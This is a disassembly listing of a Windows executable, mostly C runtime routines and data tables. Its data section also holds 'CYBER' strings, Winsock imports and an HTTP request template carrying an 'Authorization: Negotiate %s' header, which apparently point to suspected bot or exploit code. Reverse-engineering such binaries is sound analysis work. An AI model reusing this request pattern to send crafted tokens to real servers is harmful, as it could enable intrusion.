		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 29C1170h
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 27F0000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 27F0000h
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi


loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------


loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------


loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 29D0000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D


loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------


loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax


loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0


loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1


loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C9AC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------


loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05


loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]


loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBC40
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 27A006Ch
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------


loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB4DC
		push	esi
		push	edi
		call	near ptr 27B0000h
		nop
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax


loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DBC40, eax


loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 27A006Ch
		jmp	loc_426DC6
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DB9F4
		mov	[ebp+arg_10], eax


loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 29C1170h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 29C1170h
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DB9E4


loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 27B0000h
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------


loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax


loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h


loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 2760000h, 2770000h, 2780000h, 27806D8h, 2790000h, 2790B72h
		dd 2790BDDh, 27A0000h, 27A006Ch, 27B0000h, 27B084Fh, 27C0000h
		dd 27C02EDh, 27C0A2Ah, 27C0CC3h
dword_42703C	dd 27C0D41h		; DATA XREF: ___:004231D9r
		dd 27D0000h, 27D025Bh, 27D0284h, 27D0360h, 27E0000h, 27F0000h
		dd 27F0CC2h, 2800000h, 2800599h, 77E75CB5h
dword_427068	dd 28005AFh		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		db 90h
		db 8, 80h, 2
		dd 2810000h, 2820000h
dword_427078	dd 2820566h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 282060Ah		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 282080Eh
dword_427084	dd 282091Ch		; DATA XREF: sub_4196BC+B9r
		dd 2830000h
dword_42708C	dd 2830047h		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 2830063h		; DATA XREF: ___:loc_4013DCr
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 3, 83h, 2
		dd 2830500h
dword_42709C	dd 2830635h		; DATA XREF: sub_409B12+2r
		dd 2830753h, 283083Dh
dword_4270A8	dd 2830E52h		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 2840000h		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 284016Dh, 2840C51h
dword_4270B8	dd 2850000h		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 28503A1h		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 2860000h, 2870000h, 2880000h, 288097Dh, 77F7E300h, 77F7E21Fh
		dd 2890000h, 289023Fh, 28A0000h, 28A08DEh
dword_4270E8	dd 28B0000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 28B0703h		; DATA XREF: sub_418293+36r
		dd 28B09AAh, 28C0000h
dword_4270F8	dd 28C056Ch		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 28D0000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
		dd 28D14A2h, 28E0000h, 28E0A73h, 28F0000h, 28F09B1h, 2900000h
		dd 2910000h, 2920000h, 2920A74h, 2920E00h, 2930000h, 293012Ah
		dd 2930989h, 2940000h, 2940449h
dword_42713C	dd 29406ABh		; DATA XREF: sub_416F1A+BCr
		dd 2950000h
dword_427144	dd 2960000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 2960B03h		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 2960B56h
dword_427150	dd 2970000h		; DATA XREF: sub_417275+56r
; ---------------------------------------------------------------------------
		retf	9702h
; ---------------------------------------------------------------------------
		db 2
		dd 2980000h, 2990000h, 29906B2h, 2990BF2h, 29A0000h, 29A01C2h
		dd 29A0859h, 29B0000h, 29C0000h
dword_42717C	dd 29C1170h		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 29D0000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 29E0000h, 29E044Ch, 29E0898h, 29E0BF9h, 29F0000h, 2A00000h
		dd 2A10000h, 2A20000h, 2A30000h, 2A40000h, 2A41A68h, 2A41A87h
		dd 2A50000h, 2A50DA1h, 2A60000h
dword_4271C0	dd 2A605B8h		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 2A606B3h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 2A607E7h, 2A70000h, 2A7075Dh, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43CBC4o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43CBC0o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43CE3Co
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D00Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
